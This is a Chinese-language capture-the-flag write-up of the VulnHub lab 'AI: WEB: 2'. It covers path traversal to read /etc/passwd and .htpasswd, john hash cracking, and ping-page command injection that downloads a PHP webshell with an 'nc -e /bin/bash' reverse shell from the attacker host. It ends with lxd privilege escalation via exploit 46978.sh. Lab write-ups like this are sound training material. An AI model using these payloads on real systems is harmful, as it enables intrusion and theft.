vulnhub靶机 AI WEB 2
vulnhub靶机 AI: WEB: 2
靶场介绍
靶场地址:https://www.vulnhub.com/entry/ai-web-2%2C357/
主要内容:文件读取、join爆破、命令注入、命令注入传shell、(隐藏文件)敏感文件泄露、lxd提权
环境搭建还是老样子,就不做介绍了。
信息收集
1、主机探测
arp-scan -l
2、端口扫描
nmap -sS -sV -T4 -A -p- 192.168.247.168
3、目录扫描
发现存在80端口,即存在web页面,访问一下 => http://192.168.247.168
这里需要先注册,然后即可成功登录
登录之后只发现了 Welcome to XuezhuLi FileSharing
,这个应该可以当做线索。
对目录进行扫描
dirsearch -u http://192.168.247.168/
发现存在webadmin
目录,尝试访问:发现需要账号密码
尝试弱口令都不行,那应该是通过信息泄露或者靶场给的提示发现账号密码了。
漏洞发现及利用
通过上面的登录,发现Welcome to XuezhuLi FileSharing
,可以尝试去网上查找相关信息。
通过搜索发现是github上面的项目 => https://github.com/XuezhuLi/FileSharing
到漏洞看一下,有没有相关漏洞 => 漏洞库链接:https://www.exploit-db.com/
发现两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是目录穿越,这个可以读取一些文件,查看一下这个漏洞。
文件读取
尝试利用:**这里可以用浏览器访问,对文件直接进行下载,也可以放到bp中访问查看
http://192.168.247.168/download.php?file_name=../../../../../../../../../../../../../etc/passwd
成功读取到了/etc/passwd文件,还知道这是Apache系统,所以尝试可以读取他的配置文件,会有账号密码。
http://192.168.247.168/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf
这里发现的用户认证文件路径,尝试读取。
192.168.247.168/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
账号密码:aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
账号是aiweb2admin,密码被加密了,使用john解密一下。
john解密
直接进行解密,但是解密不成功
根据靶场提示,发现解密的字典 => rockyou-45.txt
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
将rockyou-45.txt字典文件放到dic.txt文件中,将账号密码放到1.txt中,然后进行解密。
john --wordlist=dic.txt 1.txt
账号/密码: aiweb2admin/c.ronaldo
账户登录
用得到的账号密码登录 => http://192.168.247.168/webadmin/
尝试访问 robots.txt => http://192.168.247.168/webadmin/robots.txt
访问第一个目录,发现是个ping ip地址的,考虑是否存在命令执行
访问第二的目录,没啥可利用的点
命令注入
回到第一个目录,经过尝试,发现可以使用 |
进行绕过 => 127.0.0.1|ifconfig
http://192.168.247.168/webadmin/H05Tpin9555/#
利用注入执行 下载木马文件
在kali上开启服务器:python2 -m SimpleHTTPServer 8081
并新建一个文件,写入木马,这里命名为 shell.php
<?php
eval($_REQUEST['shell']);
system("nc -e /bin/bash 192.168.247.168 8888");
?>
kali上开启监听: nc -lvnp 8888
通过命令执行下载木马文件 shell.php
127.0.0.1|wget http://192.168.247.160:8081/shell.php #下载shell文件
127.0.0.1|ls #执行之后,查看是否下载成功
执行 shell.php
但是kali的监听端口没反应
再尝试执行一下一句话 => http://192.168.247.168/webadmin/H05Tpin9555/shell.php?shell=phpinfo();
没有反应,甚至蚁剑连接也连接不上
利用命令注入 查看隐藏文件
想到隐藏文件一般都是(.)开头的,可以使用find命令:
127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
SSH 账号密码连接
上面的内容可能是ssh的账号密码
ssh n0nr00tuser@192.168.247.168
zxowieoi4sdsadpEClDws1sf
lxd提权
1、上传扫描脚本
cd /tmp
wget 192.168.247.160:8081/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
在扫描报告的底部,发现可以利用lxd漏洞
2、查找lxd漏洞
searchsploit lxd
查看一下 => cat 46978.sh
第一步需要下载build-alpine
,第二步运行里面的build alpine
然后给靶机运行就可以得到root
1> 下载 build-alpine
按照步骤,先下载 build-alpine
=> https://github.com/saghul/lxd-alpine-builder/
2> 运行 build-alpine
解压后放到kali里面,运行./build-alpine
会下载一个apk的文件
然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中。
3> 上传新文件到靶机
wget http://192.168.247.160:8082/alpine-v3.16-x86_64-20221012_0147.tar.gz
chmod +x alpine-v3.16-x86_64-20221012_0147.tar.gz
把 46978.sh,也上传到靶机,并赋予权限
wget http://192.168.247.160:8082/46978.sh
chmod 777 46978.sh
4> 两个文件放一起运行
./46978.sh -f alpine-v3.16-x86_64-20221012_0147.tar.gz
提权成功
3、查看flag文件
总结
文件读取:这里得熟悉Apache配置文件的路径,才知道应该读取什么文件
join爆破:这里就得知道靶场给了字典的提示
命令注入:这个得尝试怎么绕过,而且看到 ping ip 首先就要想到可能是命令注入
命令注入查看隐藏文件:这个得知道隐藏文件一般都是(.)开头的
这个靶场打的磕磕绊绊,读取配置文件的时候,不知道应该看哪些配置文件,或者说不知道那么多的路径。然后命令注入的时候,查看隐藏文件,这个一开始没想到,还是看了大佬的博客才想起来。后面的lxd提权,也遇到了一点小问题。